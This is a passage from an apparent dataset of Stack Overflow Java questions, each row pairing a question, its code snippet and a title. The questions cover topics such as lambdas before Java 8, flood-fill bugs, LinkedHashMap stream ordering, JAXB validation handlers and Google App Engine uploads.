negate that lambda like so : You can not return lambdas or their derivatives . I mean , you can only return that same object like so : With lambdas , you can return derivatives like so : So , what did you do if you needed to do anything like this ?","public interface ISingleMethodInterface { bool Really ( int n ) ; } public bool GimmeFunction ( ISingleMethodInterface interface , int n ) { return interface.Really ( n ) ; } public bool GimmeLambdaAndIWillComputeItsInverse ( Func < int , bool > predicate , int n ) { return ! predicate ( n ) ; } // I know Java does n't have Tuples but let 's forget that for nowpublic Tuple GimmeFunction ( ISingleMethodInterface interface , int n ) { return new Tuple { Item1 = interface , Item2 = n } ; } public Func < int , bool > GetInverseFunction ( Func < int , bool > predicate , int n ) { return n = > ! predicate ( n ) ; }",What did Java programmers do before Java 8 if they wanted to pass a function around ? +Java,I need to print an array of characters in a pyramid shape . What I have so far is this : and it prints this : But I need it to start printing from the character in the middle of the array . The end result got ta be like this : Any help would be greatly appreciated .,"char [ ] chars = { ' F ' , ' E ' , ' L ' , ' I ' , ' Z ' , ' ' , ' A ' , ' N ' , ' I ' , ' V ' , ' E ' , ' R ' , 'S ' , ' A ' , ' R ' , ' I ' , ' O ' } ; int length = chars.length ; for ( int i = 1 ; i < length ; i += 2 ) { for ( int j = 0 ; j < 9 - i / 2 ; j++ ) System.out.print ( `` `` ) ; for ( int j = 0 ; j < i ; j++ ) System.out.print ( chars [ j ] ) ; System.out.print ( `` \n '' ) ; } for ( int i = length ; i > 0 ; i -= 2 ) { for ( int j = 0 ; j < 9 - i / 2 ; j++ ) System.out.print ( `` `` ) ; for ( int j = 0 ; j < i ; j++ ) System.out.print ( chars [ j ] ) ; System.out.print ( `` \n '' ) ; F FEL FELIZ FELIZ A FELIZ ANI FELIZ ANIVE FELIZ ANIVERS FELIZ ANIVERSAR FELIZ ANIVERSARIO FELIZ ANIVERSAR FELIZ ANIVERS FELIZ ANIVE FELIZ ANI FELIZ A FELIZ FEL F I NIV ANIVE ANIVER Z ANIVERS IZ ANIVERSA LIZ ANIVERSAR ELIZ ANIVERSARI FELIZ ANIVERSARIO ELIZ ANIVERSARI LIZ ANIVERSAR IZ ANIVERSA Z ANIVERS ANIVER ANIVE NIV I",Printing pyramid pattern out of characters +Java,"I remember from a while back ( I think it was some Java book ) that the safest way to delete an element while iterating through a collection is using iterator.remove.As I can not find that reference and need a relative quick confirmation , can some java veteran confirm this ?",while ( iterator.hasNext ( ) ) { if ( it.next ( ) .condition ( ) ) iterator.remove ( ) ; },Java LinkedList safest way to delete while iterating +Java,"I have code like this within a method : On this line String extravar = touchableSpan.getMyVar ( ) ; I get a warning that variable touchableSpan might have not been initialized . Why is there ? This warning appeared when I added final modifier . Before I had variable is access from inner class , needs to be declared final .",final TouchableSpan touchableSpan = new TouchableSpan ( ) { @ Override public void onClick ( View widget ) { this.setPressed ( true ) ; String extravar = touchableSpan.getMyVar ( ) ; },final variable might not have initialized +Java,The Android OS has a class called BinderProxy inside android.os.Binder.java . This class has the following function declaration : I want to find out what code is executed when this function is called.How will I do that ?,"public native boolean transact ( int code , Parcel data , Parcel reply , int flags ) throws RemoteException ;",How to find source code of native java function call +Java,"I 'm a newbie in java . I 'm writing a class where the constructor must check the price parameter and ensure it is not a negative number . And if it is negative , it must set the price to zero . I get a stackoverflow error when I check price . Can i get help with what I did wrong ?","public class Book { private String title ; private String author ; private String isbn ; private int pages ; private boolean pback ; private double price ; /** * Constructor for objects of class Book */ public Book ( String bookTitle , String bookAuthor , String bookCode , int bookPages , boolean paperback , double bookRetail ) { title = bookTitle ; author = bookAuthor ; isbn = bookCode ; pages = bookPages ; pback = paperback ; price = bookRetail ; } /** * @ returns title */ public String gettitle ( ) { return title ; } /** * @ returns author */ public String getauthor ( ) { return author ; } /** * @ returns ISBN # */ public String getisbn ( ) { return isbn ; } /** * @ return number of pages */ public int getpages ( ) { return pages ; } /** * @ return is book paperback */ public boolean getpback ( ) { return pback ; } /** * @ return retail price */ public double getprice ( ) { if ( getprice ( ) < 0 ) { return 0 ; } else { return price ; } } }",stackoverflow error in java +Java,"I need to write a flood fill algorithm to color pixels of an image which are inside black borders . I 've wrote the following based on some posts here on SO : This does n't work as expected . For example , on following test image : Random rectangles will get recolored depending of where I 've clicked . For example , clicking anywhere below purple rectangle will recolor purple rectangle . Clicking inside purple rectangle recolors the green rectangle . I 've checked it and I 'm passing right parameters to method so the issue is probably somewhere inside my loop .","private Queue < Point > queue = new LinkedList < Point > ( ) ; private int pickedColorInt = 0 ; private void floodFill ( Pixmap pixmap , int x , int y ) { //set to true for fields that have been checked boolean [ ] [ ] painted = new boolean [ pixmap.getWidth ( ) ] [ pixmap.getHeight ( ) ] ; //skip black pixels when coloring int blackColor = Color.rgba8888 ( Color.BLACK ) ; queue.clear ( ) ; queue.add ( new Point ( x , y ) ) ; while ( ! queue.isEmpty ( ) ) { Point temp = queue.remove ( ) ; int temp_x = temp.getX ( ) ; int temp_y = temp.getY ( ) ; //only do stuff if point is within pixmap 's bounds if ( temp_x > = 0 & & temp_x < pixmap.getWidth ( ) & & temp_y > = 0 & & temp_y < pixmap.getHeight ( ) ) { //color of current point int pixel = pixmap.getPixel ( temp_x , temp_y ) ; if ( ! painted [ temp_x ] [ temp_y ] & & pixel ! = blackColor ) { painted [ temp_x ] [ temp_y ] = true ; pixmap.drawPixel ( temp_x , temp_y , pickedColorInt ) ; queue.add ( new Point ( temp_x + 1 , temp_y ) ) ; queue.add ( new Point ( temp_x - 1 , temp_y ) ) ; queue.add ( new Point ( temp_x , temp_y + 1 ) ) ; queue.add ( new Point ( temp_x , temp_y - 1 ) ) ; } } } }",Java Flood Fill issue +Java,"I 'm creating a very simple form validation utility for a sign up screen , and I 'm running into some unexpected behavior concerning LinkedHashMap and a stream created from its entrySet.I 'm storing validation results in a LinkedHashMap , with the following ordering of statements : One particular iteration yields all of the above fields invalid except for `` confirm password '' . Using a simple for loop over the entry set and omitting valid results , the invalid results appear in the following order : EmailUsernameBirthdayPasswordI then attempted to make use of the subset of Stream API 's available on Android ( targeting version 25 with a min of 19 , hence the lack of Collectors.toMap ( ) ) : But that code yields the following order : BirthdayPasswordUsernameEmailWhat exactly is happening here , why is the result of the stream not honoring the insertion order of the LinkedHashMap ? Note that if I swap out forEachOrdered with forEach , it 's still not insertion ordered .","Map < ValidationResult.SignUpField , Boolean > fieldStatuses = new LinkedHashMap < > ( ) ; fieldStatuses.put ( EMAIL , isValidEmail ( emailAddress ) ) ; fieldStatuses.put ( USERNAME , isValidUsername ( username ) ) ; fieldStatuses.put ( BIRTHDAY , isValidBirthday ( birthday ) ) ; fieldStatuses.put ( PASSWORD , isValidPassword ( password ) ) ; fieldStatuses.put ( CONFIRM_PASSWORD , password.equals ( confirmedPassword ) ) ; List < ValidationEntry > invalidFields = aggregateInvalidFields ( fieldStatuses ) ; private static List < ValidationEntry > aggregateInvalidFields ( Map < ValidationResult.SignUpField , Boolean > fields ) { List < ValidationEntry > invalidFields = new ArrayList < > ( ) ; fields.entrySet ( ) .stream ( ) .filter ( entry - > ! entry.getValue ( ) ) .forEachOrdered ( entry - > { ValidationResult.SignUpField field = entry.getKey ( ) ; invalidFields.add ( new ValidationEntry ( field , lookUpErrorCode ( field ) ) ) ; } ) ; return invalidFields ; }",LinkedHashMap entrySet 's order not being preserved in a stream ( Android ) +Java,"Recently I have been looking for ways to dynamically load jar files into my application at runtime . I have come along a certain solution several times , which is basically a `` hack '' that gets the system classloader and uses reflection to access the otherwisep rotected addURL method in order to add additional files to the original classpath at runtime . This solution supposendly works really well and avoids the problems that occur when writing and using a selfmade custom class loader.It looks something like this : My question is as follows : I assume there is a really good reason for making the addURL method protected in the first place , there must be some kind of pitfalls or dangers when adding files to the classpath dynamically . Besides assuming the system classloader is always a URLClassLoader , which `` should always be the case '' ( TM ) , what kind of trouble could I run into when using this `` hack '' ? Thanks","URLClassLoader sysloader = ( URLClassLoader ) ClassLoader.getSystemClassLoader ( ) ; Class sysclass = URLClassLoader.class ; try { Method method = sysclass.getDeclaredMethod ( `` addURL '' , parameters ) ; method.setAccessible ( true ) ; method.invoke ( sysloader , new Object [ ] { u } ) ; } catch ( Throwable t ) { t.printStackTrace ( ) ; throw new IOException ( `` Error , could not add URL to system classloader '' ) ; }",Dangers of using reflection to add files to classpath at runtime +Java,"After the receive , will dpr.getData ( ) & r always be the same ? ex : Can I directly use the byte array r or do I need to call getData ( ) to retrieve the buffer again ? Testing it , showed it to be the same , but is this always guaranteed ?","byte [ ] r = new byte [ 4096 ] ; DatagramPacket dpr = new DatagramPacket ( r , r.length ) ; sock.receive ( r ) ;",DatagramPacket - will getData always return the same buffer which is passed ? +Java,I configured my web.xml to enable appstats for my cron job . My cron job is handled by a servlet at the URL http : //myapp.appspot.com/cron/myjob and executed once an hour . When I access the appstats admin interface at the URL http : //myapp.appspot.com/appstats/stats . I can see stats about /appstats URLs but not about /cron URLs . I was expecting appstats to record events everytime the cron job has been executed . Here is my web.xml : Solution : I fixed it by putting the AppStats filter before the Guice filter,< web-app > < ! -- Servlets -- > < filter > < filter-name > guiceFilter < /filter-name > < filter-class > com.google.inject.servlet.GuiceFilter < /filter-class > < /filter > < filter-mapping > < filter-name > guiceFilter < /filter-name > < url-pattern > * < /url-pattern > < /filter-mapping > < ! -- AppStats -- > < filter > < filter-name > appstats < /filter-name > < filter-class > com.google.appengine.tools.appstats.AppstatsFilter < /filter-class > < init-param > < param-name > logMessage < /param-name > < param-value > Appstats available : /appstats/details ? time= { ID } < /param-value > < /init-param > < /filter > < filter-mapping > < filter-name > appstats < /filter-name > < url-pattern > /cron/* < /url-pattern > < /filter-mapping > < ! -- AppStats Servlet -- > < servlet > < servlet-name > appstats < /servlet-name > < servlet-class > com.google.appengine.tools.appstats.AppstatsServlet < /servlet-class > < /servlet > < servlet-mapping > < servlet-name > appstats < /servlet-name > < url-pattern > /appstats/* < /url-pattern > < /servlet-mapping > < ! -- < security-constraint > < web-resource-collection > < url-pattern > /appstats/* < /url-pattern > < /web-resource-collection > < auth-constraint > < role-name > admin < /role-name > < /auth-constraint > < /security-constraint > -- > < ! -- Default page to serve -- > < /web-app >,Configuring Java GAE Appstats for cron job +Java,"I have the following 3 lines of the code : The compiler complains about all of these 3 lines and its complain is the same for all 3 lines : unreported exception java.io.IOException ; In more details , these exception are thrown by new ServerSocket , accept ( ) and getInputStream ( ) .I know I need to use try ... catch ... . But for that I need to know what this exceptions mean in every particular case ( how should I interpret them ) . When they happen ? I mean , not in general , but in these 3 particular cases .",ServerSocket listeningSocket = new ServerSocket ( earPort ) ; Socket serverSideSocket = listeningSocket.accept ( ) ; BufferedReader in = new BufferedReader ( new InputStreamReader ( serverSideSocket.getInputStream ( ) ) ) ;,What should I do if a IOException is thrown ? +Java,"I created a unit test : I have received warning in Eclipse : Should I write code like : for eliminating warning , or not ? It seems only junit test and there is no sense to add additional code ... Thanks .",new Callable ( ) { @ Overridepublic Object call ( ) throws ... .. Callable is a raw type . References to generic type Callable < V > should be parameterized new Callable < Object > ( ),Should I always use generics ? +Java,"I have a table with a DateTime column as Primary Key : When I 'm doing entityManager.merge I get duplicate , PK violation since datetime holds 3 digits for milisec , but hibernet converts it to datetime2 , which holds 7 digits for milisec . In the java code , I use LocaDatetime which holds 10 digits for milsec.I have tried the solution explained at Hibernate MSSQL datetime2 mapping but it does n't work : The java code looks like : pom.xmlDatesTbl classMain classbut still I see in the SQLServer profiler : What is wrong with the solution ?","USE [ idatest ] GOCREATE TABLE [ dbo ] . [ DatesTbl ] ( [ creationDate ] [ datetime ] NOT NULL CONSTRAINT [ PK_DatesTbl ] PRIMARY KEY CLUSTERED ( [ creationDate ] ASC ) ) GO < parent > < groupId > org.springframework.boot < /groupId > < artifactId > spring-boot-starter-parent < /artifactId > < version > 2.0.3.RELEASE < /version > < /parent > < groupId > com.example < /groupId > < artifactId > spring-jap-test < /artifactId > < version > 1.0-SNAPSHOT < /version > < build > < plugins > < plugin > < groupId > org.apache.maven.plugins < /groupId > < artifactId > maven-compiler-plugin < /artifactId > < configuration > < source > 1.8 < /source > < target > 1.8 < /target > < /configuration > < /plugin > < /plugins > < /build > < dependencies > < dependency > < groupId > org.hibernate < /groupId > < artifactId > hibernate-entitymanager < /artifactId > < /dependency > < dependency > < groupId > com.microsoft.sqlserver < /groupId > < artifactId > mssql-jdbc < /artifactId > < version > 7.0.0.jre8 < /version > < /dependency > < dependency > < groupId > org.springframework.data < /groupId > < artifactId > spring-data-jpa < /artifactId > < /dependency > < dependency > < groupId > org.projectlombok < /groupId > < artifactId > lombok < /artifactId > < /dependency > < /dependencies > @ Entity @ NoArgsConstructor @ AllArgsConstructorpublic class DatesTbl { @ Column ( columnDefinition = `` DATETIME '' , nullable = false ) @ Id private LocalDateTime creationDate ; } @ EnableTransactionManagementpublic class Main { public static void main ( String [ ] args ) { ApplicationContext context = new AnnotationConfigApplicationContext ( Main.class ) ; EntityManagerFactory entityManagerFactory = context.getBean ( EntityManagerFactory.class ) ; final EntityManager entityManager = entityManagerFactory.createEntityManager ( ) ; final LocalDateTime creationDate = LocalDateTime.of ( 2018 , 12 , 26 , 8 , 10 , 40 , 340 ) ; entityManager.getTransaction ( ) .begin ( ) ; final DatesTbl datesTbl = entityManager.merge ( new DatesTbl ( creationDate ) ) ; entityManager.getTransaction ( ) .commit ( ) ; System.out.println ( `` test '' ) ; } @ Bean @ Primary public DataSource getDataSource ( ) { SQLServerDataSource ds = null ; try { ds = new SQLServerDataSource ( ) ; ds.setServerName ( `` localhost '' ) ; ds.setDatabaseName ( `` idatest '' ) ; ds.setIntegratedSecurity ( true ) ; } catch ( Exception ex ) { System.out.println ( ex.getMessage ( ) ) ; } return ds ; } @ Bean public JpaVendorAdapter jpaVendorAdapter ( ) { HibernateJpaVendorAdapter hibernateJpaVendorAdapter = new HibernateJpaVendorAdapter ( ) ; hibernateJpaVendorAdapter.setShowSql ( true ) ; hibernateJpaVendorAdapter.setGenerateDdl ( true ) ; hibernateJpaVendorAdapter.setDatabase ( Database.SQL_SERVER ) ; return hibernateJpaVendorAdapter ; } @ Bean public LocalContainerEntityManagerFactoryBean abstractEntityManagerFactoryBean ( JpaVendorAdapter jpaVendorAdapter ) { Properties properties = new Properties ( ) ; properties.setProperty ( FORMAT_SQL , String.valueOf ( true ) ) ; properties.setProperty ( SHOW_SQL , String.valueOf ( true ) ) ; properties.setProperty ( DIALECT , ModifiedSQLServerDialect.class.getTypeName ( ) ) ; LocalContainerEntityManagerFactoryBean localContainerEntityManagerFactoryBean = new LocalContainerEntityManagerFactoryBean ( ) ; localContainerEntityManagerFactoryBean.setDataSource ( getDataSource ( ) ) ; localContainerEntityManagerFactoryBean.setJpaVendorAdapter ( jpaVendorAdapter ) ; localContainerEntityManagerFactoryBean.setJpaProperties ( properties ) ; localContainerEntityManagerFactoryBean.setPackagesToScan ( `` enteties '' ) ; return localContainerEntityManagerFactoryBean ; } @ Bean public PlatformTransactionManager platformTransactionManager ( EntityManagerFactory emf ) { return new JpaTransactionManager ( emf ) ; } } public class ModifiedSQLServerDialect extends SQLServer2012Dialect { public ModifiedSQLServerDialect ( ) { super ( ) ; registerColumnType ( Types.TIMESTAMP , `` timestamp '' ) ; registerColumnType ( Types.DATE , `` timestamp '' ) ; registerColumnType ( Types.TIME , `` timestamp '' ) ; registerHibernateType ( Types.TIMESTAMP , `` timestamp '' ) ; registerHibernateType ( Types.DATE , `` timestamp '' ) ; registerHibernateType ( Types.TIME , `` timestamp '' ) ; } } exec sp_executesql N'select datestbl0_.creationDate as creation1_0_0_ from DatesTbl datestbl0_ where datestbl0_.creationDate= @ P0 ' , N ' @ P0 ` datetime2 ` ' , '2018-12-26 08:10:40.0000003 '",JPA entityManager.merge converts LocalDateTime to SQLServer 2012 DATETIME2 +Java,"I am trying to capture a ValidationEvent with characters that are not allowed in the XML rules . ( e.g , `` & '' ) Also , I set up ValidationEventHandler to check for unmarshal errors . I tried to unmarshal using an InputStream , but the event handler does not catch the error . The handleEvent method is not executed at all . On the other hand , using StringReader will work normally.I 've already read the Javadoc that describes the unmarshal method . However , I did not see that it could not capture the ValidationEvent . Unmarshal XML data from the specified InputStream and return the resulting content tree . Validation event location information may be incomplete when using this form of the unmarshal API.On the last attempt , I did try searching online but I could n't find anything . Any help will be appreciated : DExtra question : I am sorry to add a question . ( The POJO class has changed a bit ... ) I defined the POJO class field with @ XmlPath Annotation differently from the XML element name , but it does not seem to work . Should I use it as an XmlElement ? POJO class : ValidationEventHandler : Unmarshal code :","import org.eclipse.persistence.oxm.annotations.XmlPath ; import javax.xml.bind.annotation.XmlAttribute ; import javax.xml.bind.annotation.XmlElement ; import javax.xml.bind.annotation.XmlRootElement ; import java.util.List ; @ XmlRootElementclass Article { private String title ; private String category ; private List < ArticleImage > imageList ; public String getTitle ( ) { return title ; } @ XmlElement public void setTitle ( String title ) { this.title = title ; } public String getCategory ( ) { return category ; } @ XmlElement public void setCategory ( String category ) { this.category = category ; } public List < ArticleImage > getImageList ( ) { return imageList ; } // for Extra Question ... : D @ XmlPath ( `` image '' ) public void setImageList ( List < ArticleImage > imageList ) { this.imageList = imageList ; } } class ArticleImage { private String url ; private String ext ; public String getUrl ( ) { return url ; } @ XmlAttribute public void setUrl ( String url ) { this.url = url ; } public String getExt ( ) { return ext ; } @ XmlAttribute public void setExt ( String ext ) { this.ext = ext ; } } import javax.xml.bind.ValidationEvent ; import javax.xml.bind.ValidationEventHandler ; import javax.xml.bind.ValidationEventLocator ; class CustomValidationHandler implements ValidationEventHandler { // This method is not reached when debugging . @ Override public boolean handleEvent ( ValidationEvent event ) { if ( event.getSeverity ( ) == ValidationEvent.FATAL_ERROR || event.getSeverity ( ) == ValidationEvent.ERROR ) { ValidationEventLocator locator = event.getLocator ( ) ; throw new RuntimeException ( `` Error in EventHandler . line number : `` + locator.getLineNumber ( ) ) ; } return true ; } } import org.eclipse.persistence.jaxb.JAXBContextFactory ; import javax.xml.bind.JAXBContext ; import javax.xml.bind.Unmarshaller ; import java.io.ByteArrayInputStream ; import java.io.InputStream ; public class SomeTest { public void someMethod ( ) { String xmlString = `` < article type=\ '' item\ '' > \n '' + `` < title > M & A < /title > \n '' + `` < category > 1234-1234 < /category > \n '' + `` < image url=\ '' hello\ '' ext=\ '' jpg\ '' / > \n '' + `` < /article > '' ; try ( InputStream fileInputStream = new ByteArrayInputStream ( xmlString.getBytes ( ) ) ) { JAXBContext context = JAXBContextFactory.createContext ( new Class [ ] { Article.class } , null ) ; Unmarshaller unmarshaller = context.createUnmarshaller ( ) ; unmarshaller.setEventHandler ( new CustomValidationHandler ( ) ) ; Article article = ( Article ) unmarshaller.unmarshal ( fileInputStream ) ; System.out.println ( article.getTitle ( ) ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } } public static void main ( String [ ] args ) { new SomeTest ( ) .someMethod ( ) ; } }",JAXB ValidationEventHandler 's handleEvent method not being called +Java,When I code I am frustrated with null checks . Especially while coding data structures ! I have to do it asSomething sort of this ... Is there a operator like ? . ( which is a part of C # ) for Java to shorten the burden ? С # example :,String val ; if ( a ! = null & & a.child ! = null ) val = a.child.getValue ( ) ; else val = null ; String val = a ? .child ? .getValue ( ) ;,Is there a ? . operator for Java to perform null pointer checking ? +Java,"I want to compile jdk files in order to include debug infromation.I 'd like to use ant , because it 's included in my NetBeans environement , so i 've done the following : unzipped /src.zip in a tmp directorycreated a very simple build.xml file ( one default target , one taks ) in my tmp directory : created a jdkwd directorylaunched ant without parameters ( just > log.txt ) This leads to 100 compilation errors such as : I have just one JDK installed on my machine , so i do n't know why it does not resolve all this references.UPDATE : The majority of these unresolved references belongs to the package : The question now is corrected to : where are the missing jdk files ?",< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < project name= '' CompileJDK '' default= '' default '' basedir= '' . `` > < target name= '' default '' > < javac srcdir= '' . '' destdir= '' jdkwd '' debug= '' on '' / > < /target > < /project > [ javac ] C : \jdkdebug\java\awt\Window.java:196 : can not find symbol [ javac ] symbol : class IdentityArrayList [ javac ] location : class java.awt.Window [ javac ] private static final IdentityArrayList < Window > allWindows = new IdentityArrayList < Window > ( ) ; sun.awt.util,compile jdk via ant +Java,"So originally , I had this code : It takes around 4s to run the nested for loops on my computer and I do n't understand why it took so long . The outer loop runs 100,000 times , the inner for loop should run 1 time ( because any value of hashSet will never be -1 ) and the removing of an item from a HashSet is O ( 1 ) , so there should be around 200,000 operations . If there are typically 100,000,000 operations in a second , how come my code takes 4s to run ? Additionally , if the line hashSet.remove ( i ) ; is commented out , the code only takes 16ms.If the inner for loop is commented out ( but not hashSet.remove ( i ) ; ) , the code only takes 8ms .",import java.util . * ; public class sandbox { public static void main ( String [ ] args ) { HashSet < Integer > hashSet = new HashSet < > ( ) ; for ( int i = 0 ; i < 100_000 ; i++ ) { hashSet.add ( i ) ; } long start = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < 100_000 ; i++ ) { for ( Integer val : hashSet ) { if ( val ! = -1 ) break ; } hashSet.remove ( i ) ; } System.out.println ( `` time : `` + ( System.currentTimeMillis ( ) - start ) ) ; } },Unexpected running times for HashSet code +Java,"Being new to this I really am trying to learn how to keep code as simple as possible , whilst doing the job it 's supposed to . The question I have done is from Project Euler , it says Each new term in the Fibonacci sequence is generated by adding the previous two terms . By starting with 1 and 2 , the first 10 terms will be : Find the sum of all the even-valued terms in the sequence which do not exceed four million.Here is my code below . I was wondering what the best way of simplifying this would be , for a start removing all of the .get ( list.length ( ) -1 ) ... .. stuff would be a good start if possible but I do n't really know how to ? Thanks","1 , 2 , 3 , 5 , 8 , 13 , 21 , 34 , 55 , 89 , ... public long fibb ( ) { ArrayList < Integer > list = new ArrayList < Integer > ( ) ; list.add ( 1 ) ; list.add ( 2 ) ; while ( ( list.get ( list.size ( ) - 1 ) + ( list.get ( list.size ( ) - 2 ) ) < 4000000 ) ) { list.add ( ( list.get ( list.size ( ) -1 ) ) + ( list.get ( list.size ( ) - 2 ) ) ) ; } long value = 0 ; for ( int i = 0 ; i < list.size ( ) ; i++ ) { if ( list.get ( i ) % 2 == 0 ) { value += list.get ( i ) ; } } return value ; }",How to clean up my code +Java,"I 've got a project that is using this package agentile/PHP-Stanford-NLP ( PHP interface to Stanford NLP Tools ( POS Tagger , NER , Parser ) which calls a few .jar files . Everything is working ok on localhost ( MAMP ) but when I deployed it to laravel forge it is not working anymore . I installed JRE/JDK , Oracle JDK , Oracle JDK 8 in my server.This is the piece of code I use to call the java files : This is the piece of code where the error comes from : https : //github.com/agentile/PHP-Stanford-NLP/blob/51f99f1aaa1c3d5822fe634346b2b4b33a7a6223/src/StanfordNLP/Parser.php # L90This is the error : EDITED : This is the $ cmd output from localhost : This is the $ cmd output from production :","$ parser = new \StanfordNLP\Parser ( public_path ( ) . '/stanford-parser.jar ' , public_path ( ) . '/stanford-parser-3.4.1-models.jar ' ) ; $ parser = $ parser- > parseSentence ( $ text ) ; $ parser = $ this- > lexicalized_parser ? 'edu/stanford/nlp/models/lexparser/englishFactored.ser.gz ' : 'edu/stanford/nlp/models/lexparser/englishPCFG.ser.gz ' ; $ osSeparator = $ this- > php_os == 'windows ' ? ' ; ' : ' : ' ; $ cmd = $ this- > getJavaPath ( ) . `` $ options -cp \ '' '' . $ this- > getJar ( ) . $ osSeparator . $ this- > getModelsJar ( ) . ' '' edu.stanford.nlp.parser.lexparser.LexicalizedParser -encoding UTF-8 -outputFormat `` ' . $ this- > getOutputFormat ( ) . `` \ '' `` . $ parser . `` `` . $ tmpfname ; $ process = proc_open ( $ cmd , $ descriptorspec , $ pipes , dirname ( $ this- > getJar ( ) ) ) ; Error : Could not find or load main class edu.stanford.nlp.parser.lexparser.LexicalizedParser java -mx300m -classpath */Applications/MAMP/htdocs/mydomainname/public/lib/slf4j-api.jar : /Applications/MAMP/htdocs/mydomainname/public/lib/slf4j-simple.jar : /Applications/MAMP/htdocs/mydomainname/public/stanford-parser.jar : /Applications/MAMP/htdocs/mydomainname/public/stanford-parser-3.4.1-models.jar edu.stanford.nlp.parser.lexparser.LexicalizedParser -encoding UTF-8 -outputFormat wordsAndTags , penn , typedDependencies edu/stanford/nlp/models/lexparser/englishPCFG.ser.gz /private/tmp/phpnlpparserC7ptSf java -mx300m -classpath */home/forge/mydomainname.com/public/lib/slf4j-api.jar : /home/forge/mydomainname.com/public/lib/slf4j-simple.jar : /home/forge/mydomainname.com/public/stanford-parser.jar : /home/forge/mydomainname.com/public/stanford-parser-3.4.1-models.jar edu.stanford.nlp.parser.lexparser.LexicalizedParser -encoding UTF-8 -outputFormat wordsAndTags , penn , typedDependencies edu/stanford/nlp/models/lexparser/englishPCFG.ser.gz /tmp/phpnlpparserRdsoE5",Calling .jar files from PHP - Stanford NLP - Could not find or load main java class +Java,"I hope someone can help me out.I want to send a url as a string to the client endpoint function and then I want the endpoint function to download the image and send it then via a HTTP Post request to my servlet ( also running on GAE ) .The problem is - there is no image posted at all.It 's strange because if I use the exact same code ( the HttpPost class ) on an android client , it works fine - the image gets posted to the servlet and the servlet stores the image into the datastore / blobstore.Is n't it possible to send a HTTP Post request from a client endpoint function to a servlet ? Solved , see answer below ! Android : Client Endpoint Function : HttpPost Class : Http Servlet :","BackendApi.anyMethod ( `` url-to-any-image '' ) .execute ( ) ; @ ApiMethod ( path = `` anyMethod '' ) public void anyMethod ( @ Named ( `` url '' ) String url ) { // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- // No input validation here - just a proof of concept // -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- try { // Download image ByteArrayOutputStream buffer = new ByteArrayOutputStream ( ) ; Resources.asByteSource ( new URL ( url ) ) .copyTo ( buffer ) ; // Upload image HttpPost httpPost = new HttpPost ( ) ; httpPost.setTarget ( new URL ( BlobstoreServiceFactory.getBlobstoreService ( ) .createUploadUrl ( `` /upload '' ) ) ) ; httpPost.add ( `` image '' , buffer.toByteArray ( ) ) ; httpPost.send ( ) ; } catch ( IOException e ) { LOG.log ( Level.WARNING , e.getMessage ( ) , e ) ; } } public class HttpPost { private final static String CRLF = `` \r\n '' ; private String boundary ; private URL url ; private ByteArrayOutputStream buffer ; public HttpPost ( ) { // Generate random boundary // Boundary length : max . 70 characters ( not counting the two leading hyphens ) byte [ ] random = new byte [ 40 ] ; new Random ( ) .nextBytes ( random ) ; boundary = Base64.encodeBase64String ( random ) ; // Init buffer buffer = new ByteArrayOutputStream ( ) ; } public void setTarget ( URL url ) { this.url = url ; } public void add ( String key , String value ) throws IOException { addToBuffer ( `` -- '' + boundary + CRLF ) ; addToBuffer ( `` Content-Disposition : form-data ; name=\ '' '' + key + `` \ '' '' + CRLF ) ; addToBuffer ( `` Content-Type : text/plain ; charset=UTF-8 '' + CRLF + CRLF ) ; addToBuffer ( value + CRLF ) ; } public void add ( String key , byte [ ] fileBytes ) throws IOException { addToBuffer ( `` -- '' + boundary + CRLF ) ; addToBuffer ( `` Content-Disposition : form-data ; name=\ '' '' + key + `` \ '' ; filename=\ '' '' + key + `` \ '' '' + CRLF ) ; addToBuffer ( `` Content-Type : application/octet-stream '' + CRLF ) ; addToBuffer ( `` Content-Transfer-Encoding : binary '' + CRLF + CRLF ) ; addToBuffer ( fileBytes ) ; addToBuffer ( CRLF ) ; } public void send ( ) throws IOException { // Add boundary end addToBuffer ( `` -- '' + boundary + `` -- '' + CRLF ) ; // Open url connection HttpURLConnection connection = ( HttpURLConnection ) url.openConnection ( ) ; connection.setDoOutput ( true ) ; connection.setRequestMethod ( `` POST '' ) ; connection.setRequestProperty ( `` Connection '' , `` Keep-Alive '' ) ; connection.setRequestProperty ( `` Content-Type '' , `` multipart/form-data ; boundary= '' + boundary ) ; connection.setRequestProperty ( `` User-Agent '' , `` Google App Engine '' ) ; // Open data output stream DataOutputStream request = new DataOutputStream ( connection.getOutputStream ( ) ) ; request.write ( buffer.toByteArray ( ) ) ; request.flush ( ) ; request.close ( ) ; // Close connection connection.disconnect ( ) ; } private void addToBuffer ( String string ) throws IOException { buffer.write ( string.getBytes ( ) ) ; } private void addToBuffer ( byte [ ] bytes ) throws IOException { buffer.write ( bytes ) ; } } public class Upload extends HttpServlet { private static final Logger LOG = Logger.getLogger ( Upload.class.getName ( ) ) ; private BlobstoreService blobstoreService = BlobstoreServiceFactory.getBlobstoreService ( ) ; public void doPost ( HttpServletRequest request , HttpServletResponse response ) throws IOException { Map < String , List < BlobKey > > blobs = blobstoreService.getUploads ( request ) ; List < BlobKey > blobKeys = blobs.get ( `` image '' ) ; if ( blobKeys == null ) { LOG.warning ( `` No blobkeys found '' ) ; return ; } // Get blob key BlobKey blobKey = blobKeys.get ( 0 ) ; if ( blobKey == null ) { LOG.warning ( `` No blobkey found '' ) ; return ; } // Create new image object Image image = new Image ( ) ; image.setBlobKey ( blobKey ) ; image.setTimestamp ( new Date ( ) ) ; // Save image to datastore OfyService.ofy ( ) .save ( ) .entity ( image ) .now ( ) ; LOG.log ( Level.INFO , `` Image upload successful '' ) ; } }",Google App Engine Java HTTP Post Image from API Method to Servlet +Java,"Consider the following two snippets of code on an array of length 2 : and I would assume that the performance of these two pieces should be similar after sufficient warm-up . I 've checked this using JMH micro-benchmarking framework as described e.g . here and here and observed that the second snippet is more than 10 % faster.Question : why has n't Java optimized my first snippet using the basic loop unrolling technique ? In particular , I 'd like to understand the following : I can easily produce a code that is optimal for cases of 2 filters and still can work in case of another number of filters ( imagine a simple builder ) : return ( filters.length ) == 2 ? new FilterChain2 ( filters ) : new FilterChain1 ( filters ) . Can JITC do the same and if not , why ? Can JITC detect that 'filters.length==2 ' is the most frequent case and produce the code that is optimal for this case after some warm-up ? This should be almost as optimal as the manually-unrolled version.Can JITC detect that a particular instance is used very frequently and then produce a code for this 